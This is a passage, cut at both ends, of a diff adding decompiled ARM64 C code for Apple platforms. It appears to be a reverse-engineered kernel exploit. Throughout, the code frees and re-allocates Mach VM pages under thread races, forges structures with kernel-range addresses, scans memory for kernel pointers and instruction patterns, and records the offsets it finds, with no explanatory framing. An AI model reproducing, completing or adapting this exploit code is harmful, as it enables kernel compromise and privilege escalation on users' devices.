atomic_load((unsigned __int8 *)(a1 + 0x510)); + if ( (v8 & 1) == 0 ) + { + do + { + usleep(0x3E8u); + v9 = atomic_load((unsigned __int8 *)(a1 + 0x510)); + } + while ( (v9 & 1) == 0 ); + } + usleep(0x1388u); + sub_6448(*(_QWORD *)(a1 + 0x440)); + v11 = 0LL; + v12 = 1; + while ( 1 ) + { + v13 = v12; + if ( v10 == *(_QWORD *)(*(_QWORD *)(a1 + 8 * v11 + 0x468) + 0x10LL) ) + break; + v12 = 0; + v11 = 1LL; + if ( (v13 & 1) == 0 ) + goto LABEL_14; + } + *(_QWORD *)(a1 + 0x478) = v11; +LABEL_14: + v14 = 0LL; + for ( i = 1; ; i = 0 ) + { + v16 = i; + result = sub_6448(*(_QWORD *)(*(_QWORD *)(a1 + 8 * v14 + 0x490) + 0x38LL)); + if ( (_DWORD)result == 2 ) + break; + v14 = 1LL; + if ( (v16 & 1) == 0 ) + return result; + } + *(_QWORD *)(a1 + 0x4A0) = v14; + return result; +} +// 8324: variable 'v10' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000008384) ---------------------------------------------------- +int *__fastcall sub_8384(__int64 a1, __int64 a2) +{ + int *result; // x0 + __int64 vars8; // [xsp+8h] [xbp+8h] + + result = (int *)madvise((void *)(*(_QWORD *)(a1 + 0x20) + 0xC000LL), a2 << 0xE, 3); + if ( (_DWORD)result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return __error(); + } + return result; +} +// 83B0: variable 'vars8' is possibly undefined + +//----- (00000000000083C8) ---------------------------------------------------- +__int64 __fastcall sub_83C8(_QWORD *a1) +{ + vm_address_t v2; // x20 + __int64 v3; // x8 + __int64 v4; // x10 + __int64 v5; // x22 + __int64 v6; // x23 + __int64 i; // x20 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-38h] BYREF + + address = 0LL; + vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); + v2 = address; + v3 = a1[0x88]; + v4 = a1[0xBC]; + *(_BYTE *)(a1[0xBB] + v3) = 0x41; + *(_BYTE *)(v4 + v3) = 0x41; + v5 = a1[a1[0x8F] + 0x8D]; + vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 0x38), 0xC000uLL); + *(_QWORD *)(v5 + 0x38) = 0LL; + thread_switch(0, 2, 0); + v6 = a1[a1[0x94] + 0x92]; + vm_deallocate(mach_task_self_, *(_QWORD *)(v6 + 0x38), 0xC000uLL); + *(_QWORD *)(v6 + 0x38) = 0LL; + sub_63E8(v2, 0xC000uLL, 0); + sub_6448(v2); + *(_QWORD *)(a1[a1[0x94] + 0x92] + 0x38LL) = v2; + sub_7FF8((__int64)a1, a1[0xB3]); + sub_8384((__int64)a1, a1[0xB3] - 4LL); + for ( i = 0LL; i != 0xC3500; i += 8LL ) + result = sub_63E8(*(_QWORD *)(a1[6] + i), 0x4000uLL, 0); + return result; +} + +//----- (00000000000084F8) ---------------------------------------------------- +int *__fastcall sub_84F8(__int64 a1) +{ + __int64 v2; // x9 + vm_address_t v3; // x21 + __int64 v4; // x21 + __int64 v5; // x21 + int *result; // x0 + vm_address_t address; // [xsp+8h] [xbp-28h] BYREF + + v2 = *(_QWORD *)(a1 + 0x20); + if ( *(_BYTE *)(a1 + 0x28) && *(_BYTE *)(a1 + 0x29) ) + { + v3 = v2 + 0x8000; + address = v2 + 0x4000; + vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + address = v3; + } + else + { + address = v2 + 0x4000; + } + vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + v4 = *(_QWORD *)(a1 + 0x4D8); + vm_deallocate(mach_task_self_, *(_QWORD *)(v4 + 0xA0), 0x4000uLL); + *(_QWORD *)(v4 + 0xA0) = 0LL; + if ( pthread_join(*(pthread_t *)(a1 + 0x508), 0LL) ) + __error(); + *(_QWORD *)(a1 + 0x508) = 0LL; + v5 = *(_QWORD *)(a1 + 0x4B8); + vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 0xA0), 0x4000uLL); + *(_QWORD *)(v5 + 0xA0) = 0LL; + result = (int *)pthread_join(*(pthread_t *)(a1 + 0x4F8), 0LL); + if ( (_DWORD)result ) + result = __error(); + *(_QWORD *)(a1 + 0x4F8) = 0LL; + return result; +} + +//----- (00000000000085E4) ---------------------------------------------------- +void __fastcall sub_85E4(__int64 a1) +{ + int v2; // w8 + __int64 v3; // x22 + __int64 v4; // x23 + __int64 v5; // x25 + vm_address_t v6; // x20 + __int64 v7; // x1 + __int64 v8; // x8 + int (__cdecl *v9)(const void *, const void *); // x0 + + v2 = *(unsigned __int8 *)(a1 + 0x28); + if ( *(_BYTE *)(a1 + 0x28) && *(_BYTE *)(a1 + 0x29) ) + { + *(_WORD *)(a1 + 0x28) = 0; + sub_7FF8(a1, *(_QWORD *)(a1 + 0x598)); + } + else + { + *(_WORD *)(a1 + 0x28) = 0; + sub_814C(a1, v2 != 0); + } + vm_copy(mach_task_self_, *(_QWORD *)(a1 + 0x450), *(_QWORD *)(a1 + 0x460), *(_QWORD *)(a1 + 0x458)); + v3 = 0LL; + v4 = 0LL; + v5 = 0LL; + do + { + v6 = *(_QWORD *)(*(_QWORD *)(a1 + 0x30) + 8 * v5); + if ( sub_6448(v6) >> 0x20 ) + { + vm_deallocate(mach_task_self_, v6, 0x4000uLL); + ++v5; + } + else + { + if ( !v3 ) + v3 = v5 + 1; + ++v5; + v8 = a1 + 0x10 * v4; + *(_QWORD *)(v8 + 0x38) = v6; + *(_QWORD *)(v8 + 0x40) = v7; + ++v4; + } + } + while ( v5 != 0x186A0 ); + *(_QWORD *)(a1 + 0x590) = v3; + v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64B8); + qsort((void *)(a1 + 0x38), 0x40uLL, 0x10uLL, v9); + free(*(void **)(a1 + 0x30)); + *(_QWORD *)(a1 + 0x30) = 0LL; +} +// 8694: variable 'v7' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000008710) ---------------------------------------------------- +void __fastcall sub_8710(_QWORD *a1) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + sub_8228((__int64)a1); + sub_83C8(a1); + sub_84F8((__int64)a1); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_85E4((__int64)a1); +} +// 8748: variable 'vars8' is possibly undefined + +//----- (0000000000008758) ---------------------------------------------------- +__int64 __fastcall sub_8758(vm_address_t *a1) +{ + vm_address_t v2; // x8 + __int64 v3; // x8 + vm_address_t v4; // x20 + vm_address_t v5; // x20 + __int64 v6; // x8 + vm_address_t v7; // x20 + __int64 *v8; // x26 + vm_address_t v9; // x8 + unsigned __int64 v10; // x9 + __int64 v11; // x10 + unsigned __int64 v12; // x20 + __int64 v13; // x11 + __int64 v14; // x8 + vm_address_t v15; // x8 + vm_address_t v16; // x1 + vm_address_t v17; // x8 + vm_address_t v18; // x20 + vm_size_t v19; // x21 + unsigned __int64 v20; // x8 + _OWORD *v21; // x9 + __int64 v22; // x20 + vm_address_t *v23; // x21 + vm_address_t v24; // x8 + unsigned __int64 v25; // x11 + unsigned __int64 v26; // x10 + unsigned int v27; // w8 + _OWORD *v28; // x8 + __int128 v30; // [xsp+10h] [xbp-380h] + __int128 v31; // [xsp+30h] [xbp-360h] + _BYTE v32[32]; // [xsp+40h] [xbp-350h] + __int128 v33; // [xsp+60h] [xbp-330h] + __int128 v34; // [xsp+B0h] [xbp-2E0h] + __int128 v35; // [xsp+D0h] [xbp-2C0h] + __int128 v36; // [xsp+E0h] [xbp-2B0h] + __int128 v37; // [xsp+F0h] [xbp-2A0h] + __int128 v38; // [xsp+100h] [xbp-290h] + _BYTE v39[32]; // [xsp+140h] [xbp-250h] + __int128 v40; // [xsp+160h] [xbp-230h] + __int128 v41; // [xsp+170h] [xbp-220h] + __int128 v42; // [xsp+1B0h] [xbp-1E0h] + __int128 v43; // [xsp+1D0h] [xbp-1C0h] + __int128 v44; // [xsp+1E0h] [xbp-1B0h] + __int128 v45; // [xsp+1F0h] [xbp-1A0h] + __int128 v46; // [xsp+200h] [xbp-190h] + _BYTE address[32]; // [xsp+240h] [xbp-150h] BYREF + __int128 v48; // [xsp+260h] [xbp-130h] + __int128 v49; // [xsp+270h] [xbp-120h] + __int128 v50; // [xsp+280h] [xbp-110h] + __int128 v51; // [xsp+290h] [xbp-100h] + __int128 v52; // [xsp+2A0h] [xbp-F0h] + __int128 v53; // [xsp+2B0h] [xbp-E0h] + __int128 v54; // [xsp+2C0h] [xbp-D0h] + __int128 v55; // [xsp+2D0h] [xbp-C0h] + __int128 v56; // [xsp+2E0h] [xbp-B0h] + __int128 v57; // [xsp+2F0h] [xbp-A0h] + __int128 v58; // [xsp+300h] [xbp-90h] + __int128 v59; // [xsp+310h] [xbp-80h] + __int128 v60; // [xsp+320h] [xbp-70h] + __int128 v61; // [xsp+330h] [xbp-60h] + + *(_QWORD *)address = 0LL; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000uLL, 1); + v2 = *(_QWORD *)address; + a1[0xB0] = *(_QWORD *)address; + a1[0xAC] = v2; + *(_QWORD *)address = v2; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4000); + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, a1[7], 0x4000uLL); + a1[7] = 0LL; + sub_63E8(a1[0xAC], 0x4000uLL, 0); + sub_6448(a1[0xAC]); + *(_QWORD *)address = 0LL; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000uLL, 1); + v3 = *(_QWORD *)address; + a1[0xAF] = *(_QWORD *)address; + *(_QWORD *)address = v3; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); + sub_63E8(a1[0xAF], 0x4000uLL, 0); + *(_QWORD *)address = a1[0xAF] + 0x4000; + v4 = *(_QWORD *)address; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4000); + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, a1[9], 0x4000uLL); + a1[9] = 0LL; + vm_copy(mach_task_self_, a1[0xAC], 0xC000uLL, v4); + sub_6448(v4); + vm_deallocate(mach_task_self_, a1[0xAF] + 0xC000, 0x4000uLL); + *(_QWORD *)address = a1[0xAC] + 0x4000; + v5 = *(_QWORD *)address; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); + sub_63E8(v5, 0x4000uLL, 0); + *(_QWORD *)address = 0LL; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000uLL, 1); + v6 = *(_QWORD *)address; + a1[0xAD] = *(_QWORD *)address; + *(_QWORD *)address = v6; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); + sub_63E8(a1[0xAD], 0x4000uLL, 0); + *(_QWORD *)address = a1[0xAD] + 0x4000; + v7 = *(_QWORD *)address; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); + sub_63E8(v7, 0x4000uLL, 0); + v8 = (__int64 *)(a1 + 0x8A); + vm_copy(mach_task_self_, a1[0x8B], a1[0x8C], a1[0x8A]); + v9 = a1[0x8C]; + if ( v9 ) + { + v10 = 0LL; + v11 = *v8; + v12 = 0xFFFFFFFFFFFFFFFFLL; + do + { + v13 = v11 + v10; + if ( (*(_BYTE *)(v11 + v10 + 0x7F) & 1) == 0 && (*(_BYTE *)(v13 + 0x17F) & 1) == 0 ) + { + a1[0xA3] = *(_QWORD *)(v13 + 0x148); + v12 = v10; + } + v10 += 0x4000LL; + } + while ( v10 < v9 ); + } + else + { + v12 = 0xFFFFFFFFFFFFFFFFLL; + } + *(_QWORD *)address = 0LL; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000uLL, 1); + v14 = *(_QWORD *)address; + a1[0xA9] = *(_QWORD *)address; + *(_QWORD *)address = v14; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); + sub_63E8(a1[0xA9], 0x4000uLL, 0); + *(_QWORD *)address = a1[0xA9] + 0x4000; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000uLL, 0x4000); + v15 = a1[0x8B] + v12; + a1[0xAA] = v15; + *(_QWORD *)address = v15 + 0x4000; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000uLL, 0x4000); + v16 = a1[0x8B]; + v17 = a1[0xAA]; + v18 = v17 + 0xC000; + v19 = v16 + a1[0x8C] - v17 - 0x4000; + vm_deallocate(mach_task_self_, v16, v17 - v16); + vm_deallocate(mach_task_self_, v18, v19); + vm_deallocate(mach_task_self_, a1[0x8A], a1[0x8C]); + *v8 = 0LL; + a1[0x8B] = 0LL; + *(_QWORD *)address = 0LL; + *(_OWORD *)&address[0x10] = 0u; + v60 = 0u; + v61 = 0u; + v58 = 0u; + v59 = 0u; + v56 = 0u; + v57 = 0u; + v54 = 0u; + *(_QWORD *)&v55 = 0LL; + v52 = 0u; + v53 = 0u; + v50 = 0u; + v51 = 0u; + v48 = 0u; + v49 = 0u; + *(_OWORD *)&address[8] = xmmword_42D30; + DWORD2(v48) = 0x64; + LODWORD(v53) = 4; + HIDWORD(v53) = 0x101C800; + *((_QWORD *)&v55 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v20 = 0xFFFFFFFFFFFFFF00LL; + HIDWORD(v56) = 0xC0080; + do + { + v21 = (_OWORD *)(v20 + a1[0xA9]); + v21[0x1C] = v58; + v21[0x1D] = v59; + v21[0x1E] = v60; + v21[0x1F] = v61; + v21[0x18] = v54; + v21[0x19] = v55; + v21[0x1A] = v56; + v21[0x1B] = v57; + v21[0x14] = v50; + v21[0x15] = v51; + v21[0x16] = v52; + v21[0x17] = v53; + v21[0x10] = *(_OWORD *)address; + v21[0x11] = *(_OWORD *)&address[0x10]; + v21[0x12] = v48; + v21[0x13] = v49; + v20 += 0x100LL; + } + while ( v20 >> 8 < 0x3F ); + vm_copy(mach_task_self_, a1[0xA9], 0xC000uLL, a1[0xAA]); + v22 = 0LL; + v23 = a1 + 0xB; + do + { + vm_deallocate(mach_task_self_, v23[v22], 0x4000uLL); + v23[v22] = 0LL; + v22 += 2LL; + } + while ( v22 != 0x7C ); + bzero((void *)a1[0xA9], 0x4000uLL); + *(_QWORD *)&v43 = 0LL; + v44 = 0u; + *(_QWORD *)&v45 = 0LL; + v46 = 0u; + v42 = 0u; + v41 = 0u; + v24 = a1[0xA3]; + v25 = (v24 + 0x2400000200LL) >> 6; + if ( v24 == 0xFFFFFFFFFFFFFE00LL ) + LODWORD(v25) = 0; + *(_DWORD *)v39 = v25; + *(_DWORD *)&v39[4] = v25; + *(_OWORD *)&v39[8] = xmmword_42D30; + *(_QWORD *)&v39[0x18] = 0x4000LL; + *(_QWORD *)&v40 = v24 + 0x200; + *((_QWORD *)&v40 + 1) = 0x100000064LL; + LODWORD(v41) = 1; + HIDWORD(v42) = 0x11C800; + *((_QWORD *)&v43 + 1) = 0xFFFFFFFFFFFFFFFFLL; + HIDWORD(v44) = 0xC0007; + *((_QWORD *)&v45 + 1) = v24 + 0xB8; + *(_QWORD *)&v46 = v24 + 0xB8; + *(_QWORD *)&v35 = 0LL; + v36 = 0uLL; + *(_QWORD *)&v37 = 0LL; + *((_QWORD *)&v38 + 1) = 0LL; + v34 = 0uLL; + v26 = (v24 + 0x2400000100LL) >> 6; + if ( v24 == 0xFFFFFFFFFFFFFF00LL ) + LODWORD(v26) = 0; + *(_DWORD *)v32 = v26; + *(_DWORD *)&v32[4] = v26; + *(_OWORD *)&v32[8] = xmmword_42D30; + *(_QWORD *)&v32[0x18] = 0x4000LL; + *(_QWORD *)&v33 = 0LL; + *((_QWORD *)&v33 + 1) = 0x64LL; + LODWORD(v34) = 4; + HIDWORD(v34) = 0x18800; + *((_QWORD *)&v35 + 1) = 0xFFFFFFFFFFFFFFFFLL; + HIDWORD(v36) = 0xC0007; + *((_QWORD *)&v37 + 1) = v24 + 0xC80; + *(_QWORD *)&v38 = v24 + 0xC80; + DWORD2(v31) = 0; + *(_QWORD *)&v30 = 0LL; + if ( v24 ) + v27 = (v24 + 0x2400000000LL) >> 6; + else + v27 = 0; + DWORD2(v30) = v27; + HIDWORD(v30) = v27; + *(_QWORD *)&v31 = v27 | 0x401000100000000LL; + HIDWORD(v31) = 0x100C; + v28 = (_OWORD *)a1[0xA9]; + v28[2] = v40; + v28[3] = v41; + *v28 = *(_OWORD *)v39; + v28[1] = *(_OWORD *)&v39[0x10]; + v28[6] = 0u; + v28[7] = v42; + v28[4] = 0u; + v28[5] = 0u; + v28[0xA] = v44; + v28[0xB] = v45; + v28[8] = 0u; + v28[9] = v43; + v28[0xE] = 0u; + v28[0xF] = 0u; + v28[0xC] = v46; + v28[0xD] = 0u; + v28[0x1C] = v38; + v28[0x1D] = 0uLL; + v28[0x1E] = 0uLL; + v28[0x1F] = 0uLL; + v28[0x18] = 0uLL; + v28[0x19] = v35; + v28[0x1A] = v36; + v28[0x1B] = v37; + v28[0x14] = 0uLL; + v28[0x15] = 0uLL; + v28[0x16] = 0uLL; + v28[0x17] = v34; + v28[0x10] = *(_OWORD *)v32; + v28[0x11] = *(_OWORD *)&v32[0x10]; + v28[0x12] = v33; + v28[0x13] = 0uLL; + v28[0x20] = v30; + v28[0x21] = 0uLL; + v28[0x22] = v31; + return vm_copy(mach_task_self_, a1[0xA9], 0xC000uLL, a1[0xAA]); +} +// 42D30: using guessed type __int128 xmmword_42D30; + +//----- (0000000000008DDC) ---------------------------------------------------- +void __fastcall sub_8DDC(_QWORD *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4) +{ + char *v8; // x21 + __int64 v9; // x23 + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x8 + unsigned __int64 v12; // x9 + unsigned __int64 v13; // x9 + unsigned __int64 v14; // x8 + char *v15; // x9 + unsigned __int64 v16; // x12 + __int64 vars8; // [xsp+38h] [xbp+8h] + + v8 = (char *)malloc(0x4000uLL); + v9 = -(__int64)vm_page_size & a2; + if ( v9 ) + { + while ( 1 ) + { + v10 = sub_6F68(); + if ( v10 ) + break; +LABEL_6: + v9 -= 0x4000LL; + if ( !v9 ) + goto LABEL_7; + } + sub_6E30(a1, v10, v8, 0x4000uLL); + v11 = 0LL; + while ( *(_DWORD *)&v8[v11] != 0xA9027F60 ) + { + v12 = v11 >> 3; + v11 += 4LL; + if ( v12 >= 0x7FF ) + goto LABEL_6; + } + v15 = &v8[v11]; + v16 = v9 + v11; + v14 = ((v9 + v11 + 0xC) & 0xFFFFFFFFFFFFF000LL) + + (((unsigned __int64)*(unsigned int *)&v8[v11 + 0x10] >> 7) & 0x7FF8) + + 2LL * ((*(_DWORD *)&v8[v11 + 0xC] >> 0x12) & 0x1800 | (*(_DWORD *)&v8[v11 + 0xC] >> 5 << 0xD)); + v13 = ((v16 - 0x14) & 0xFFFFFFFFFFFFF000LL) + + (((unsigned __int64)*((unsigned int *)v15 + 0xFFFFFFFC) >> 7) & 0x7FF8) + + 2LL * ((*((_DWORD *)v15 + 0xFFFFFFFB) >> 0x12) & 0x1800 | (*((_DWORD *)v15 + 0xFFFFFFFB) >> 5 << 0xD)); + } + else + { +LABEL_7: + v13 = 0LL; + v14 = 0LL; + } + *a3 = v14; + *a4 = v13; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(v8); +} +// 8F08: variable 'vars8' is possibly undefined + +//----- (0000000000008F18) ---------------------------------------------------- +void __fastcall sub_8F18(_QWORD *a1, __int64 a2, int a3, _QWORD *a4) +{ + char *v8; // x21 + unsigned __int64 v9; // x24 + __int64 v10; // x22 + unsigned __int64 v11; // x25 + __int64 v12; // x23 + unsigned __int64 v13; // x8 + unsigned __int64 v14; // x9 + unsigned __int64 v15; // x8 + __int64 vars8; // [xsp+48h] [xbp+8h] + + v8 = (char *)malloc(0x4000uLL); + if ( a2 == 0x10000000000LL ) + v9 = 0xFFFF800000000000LL; + else + v9 = 0xFFFFFF8000000000LL; + v10 = (unsigned int)(a3 << 0xE) + a2; + v11 = 0x3000000LL; + v12 = v10 + 0x3000000; + while ( 2 ) + { + sub_6E30(a1, (v10 + v11) & -(__int64)vm_page_size, v8, 0x4000uLL); + v13 = 0LL; + do + { + if ( *(_QWORD *)&v8[v13 + 0x10] == v9 && *(_QWORD *)&v8[v13 + 0x18] == 0xFFFFFFFFFFFFFFFFLL ) + { + *a4 = v12 + v13; + goto LABEL_12; + } + v14 = v13 >> 3; + v13 += 8LL; + } + while ( v14 < 0x7E3 ); + v15 = v11 >> 0xE; + v11 += 0x4000LL; + v12 += 0x4000LL; + if ( v15 < 0xFFF ) + continue; + break; + } +LABEL_12: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(v8); +} +// 9008: variable 'vars8' is possibly undefined + +//----- (0000000000009018) ---------------------------------------------------- +void *__fastcall sub_9018(_QWORD *a1) +{ + __int16 v2; // w1 + __int64 v3; // x1 + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x0 + void *result; // x0 + __int64 v7; // [xsp+0h] [xbp-200h] BYREF + __int64 v8; // [xsp+8h] [xbp-1F8h] BYREF + unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF + unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF + _OWORD v11[4]; // [xsp+20h] [xbp-1E0h] BYREF + __int128 v12; // [xsp+60h] [xbp-1A0h] + __int128 v13; // [xsp+70h] [xbp-190h] + __int128 v14; // [xsp+80h] [xbp-180h] + __int128 v15; // [xsp+90h] [xbp-170h] + __int128 v16; // [xsp+A0h] [xbp-160h] + __int128 v17; // [xsp+B0h] [xbp-150h] + __int128 v18; // [xsp+C0h] [xbp-140h] + __int128 v19; // [xsp+D0h] [xbp-130h] + __int128 v20; // [xsp+E0h] [xbp-120h] + __int128 v21; // [xsp+F0h] [xbp-110h] + _OWORD v22[4]; // [xsp+100h] [xbp-100h] BYREF + __int128 v23; // [xsp+140h] [xbp-C0h] + __int128 v24; // [xsp+150h] [xbp-B0h] + __int128 v25; // [xsp+160h] [xbp-A0h] + __int128 v26; // [xsp+170h] [xbp-90h] + __int128 v27; // [xsp+180h] [xbp-80h] + __int128 v28; // [xsp+190h] [xbp-70h] + __int128 v29; // [xsp+1A0h] [xbp-60h] + __int128 v30; // [xsp+1B0h] [xbp-50h] + __int128 v31; // [xsp+1C0h] [xbp-40h] + __int128 v32; // [xsp+1D0h] [xbp-30h] + unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF + int v34; // [xsp+1ECh] [xbp-14h] BYREF + + v34 = 0; + sub_6DC0(a1, a1[0xB5], &v34); + v33 = 0LL; + sub_8F18(a1, a1[0xB4], v34, &v33); + v31 = 0u; + v32 = 0u; + v29 = 0u; + v30 = 0u; + v27 = 0u; + v28 = 0u; + v25 = 0u; + v26 = 0u; + v23 = 0u; + v24 = 0u; + memset(v22, 0, sizeof(v22)); + sub_6E30(a1, v33, v22, 0xE0uLL); + v2 = v23; + a1[0xA4] = *((_QWORD *)&v22[0] + 1); + a1[0xA5] = a1[0xB6]; + v20 = 0u; + v21 = 0u; + v18 = 0u; + v19 = 0u; + v16 = 0u; + v17 = 0u; + v14 = 0u; + v15 = 0u; + v12 = 0u; + v13 = 0u; + memset(v11, 0, sizeof(v11)); + sub_70A4(a1, v2, (char *)v11, 0xE0uLL); + v3 = *((_QWORD *)&v12 + 1); + a1[0xA6] = *((_QWORD *)&v12 + 1); + v9 = 0LL; + v10 = 0LL; + sub_8DDC(a1, v3, &v10, &v9); + v8 = 0LL; + v4 = sub_6F68(); + sub_6E30(a1, v4, &v8, 8uLL); + a1[0xA7] = v8; + v7 = 0LL; + v5 = sub_6F68(); + result = sub_6E30(a1, v5, &v7, 8uLL); + a1[0xA8] = v7; + return result; +} + +//----- (0000000000009150) ---------------------------------------------------- +__int64 __fastcall sub_9150(__int64 a1) +{ + vm_size_t v2; // x2 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 0x438), *(_QWORD *)(a1 + 0x448)); + *(_QWORD *)(a1 + 0x438) = 0LL; + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), *(_QWORD *)(a1 + 0x440)); + v2 = *(_QWORD *)(a1 + 0x448); + address = *(_QWORD *)(a1 + 0x440); + vm_allocate(mach_task_self_, &address, v2, 0x4000); + **(_BYTE **)(a1 + 0x440) = 0x41; + result = vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 0x440), *(_QWORD *)(a1 + 0x448)); + *(_QWORD *)(a1 + 0x440) = 0LL; + return result; +} + +//----- (00000000000091E0) ---------------------------------------------------- +__int64 __fastcall sub_91E0(__int64 result, __int64 a2) +{ + __int64 v3; // x20 + unsigned __int64 v4; // x21 + __int64 v5; // x22 + + v3 = result; + v4 = 0LL; + v5 = a2 + 0x14; + do + { + if ( v4 < *(_QWORD *)(a2 + 0x20) ) + { + (*(void (__fastcall **)(_QWORD, _QWORD))(v3 + 0x5C0))(*(_QWORD *)(v3 + 0x5D0), *(unsigned int *)(v5 + 4 * v4)); + result = mach_port_deallocate(mach_task_self_, *(_DWORD *)(v5 + 4 * v4)); + *(_DWORD *)(v5 + 4 * v4) = 0; + } + ++v4; + } + while ( v4 != 3 ); + return result; +} + +//----- (000000000000925C) ---------------------------------------------------- +void __fastcall sub_925C(__int64 a1) +{ + __int64 v2; // x22 + __int64 v3; // x25 + __int64 v4; // x23 + _QWORD *v5; // x20 + __int64 v6; // x27 + char v7; // w8 + char v8; // w21 + vm_address_t *v9; // x20 + _QWORD v11[2]; // [xsp+8h] [xbp-68h] + + v2 = 0LL; + v3 = a1 + 0x468; + v4 = a1 + 0x490; + v11[0] = a1 + 0x468; + v11[1] = a1 + 0x490; + while ( 1 ) + { + while ( 1 ) + { + v5 = *(_QWORD **)(v3 + 0x18); + if ( !v5 ) + break; + *(_QWORD *)(v3 + 0x18) = *v5; + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), v5[3]); + vm_deallocate(mach_task_self_, v5[3], 0x4000uLL); + v5[3] = 0LL; + sub_91E0(a1, (__int64)(v5 + 2)); + free(v5); + } + v6 = 0LL; + v7 = 1; + do + { + v8 = v7; + v9 = *(vm_address_t **)(v3 + 8 * v6); + sub_91E0(a1, (__int64)(v9 + 2)); + if ( v6 != *(_QWORD *)(v3 + 0x10) || v3 == v4 ) + { + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), v9[7]); + vm_deallocate(mach_task_self_, v9[7], 0xC000uLL); + } + free(v9); + v7 = 0; + v6 = 1LL; + } + while ( (v8 & 1) != 0 ); + if ( ++v2 == 2 ) + break; + v3 = v11[v2]; + } +} + +//----- (00000000000093B0) ---------------------------------------------------- +__int64 __fastcall sub_93B0(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), *(_QWORD *)(a2 + 0x18)); + vm_deallocate(mach_task_self_, *(_QWORD *)(a2 + 0x18), 0x4000uLL); + *(_QWORD *)(a2 + 0x18) = 0LL; + result = vm_deallocate(mach_task_self_, *(_QWORD *)(a2 + 0x88), 0x18000uLL); + *(_QWORD *)(a2 + 0x88) = 0LL; + return result; +} + +//----- (0000000000009410) ---------------------------------------------------- +__int64 __fastcall sub_9410(__int64 a1, vm_address_t *a2) +{ + __int64 result; // x0 + + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[3]); + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[8]); + vm_deallocate(mach_task_self_, a2[3], 0x4000uLL); + a2[3] = 0LL; + vm_deallocate(mach_task_self_, a2[8], 0x4000uLL); + a2[8] = 0LL; + vm_deallocate(mach_task_self_, a2[0x11], 0x18000uLL); + a2[0x11] = 0LL; + result = vm_deallocate(mach_task_self_, a2[0x12], 0x14000uLL); + a2[0x12] = 0LL; + return result; +} + +//----- (00000000000094B0) ---------------------------------------------------- +__int64 __fastcall sub_94B0(__int64 a1, vm_address_t *a2) +{ + __int64 result; // x0 + + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[3]); + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[8]); + (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[0xD]); + vm_deallocate(mach_task_self_, a2[3], 0x4000uLL); + a2[3] = 0LL; + vm_deallocate(mach_task_self_, a2[8], 0x4000uLL); + a2[8] = 0LL; + vm_deallocate(mach_task_self_, a2[0xD], 0x4000uLL); + a2[0xD] = 0LL; + vm_deallocate(mach_task_self_, a2[0x11], 0x18000uLL); + a2[0x11] = 0LL; + vm_deallocate(mach_task_self_, a2[0x12], 0x14000uLL); + a2[0x12] = 0LL; + result = vm_deallocate(mach_task_self_, a2[0x13], 0x10000uLL); + a2[0x13] = 0LL; + return result; +} + +//----- (0000000000009588) ---------------------------------------------------- +__int64 __fastcall sub_9588(__int64 a1, _QWORD *a2) +{ + 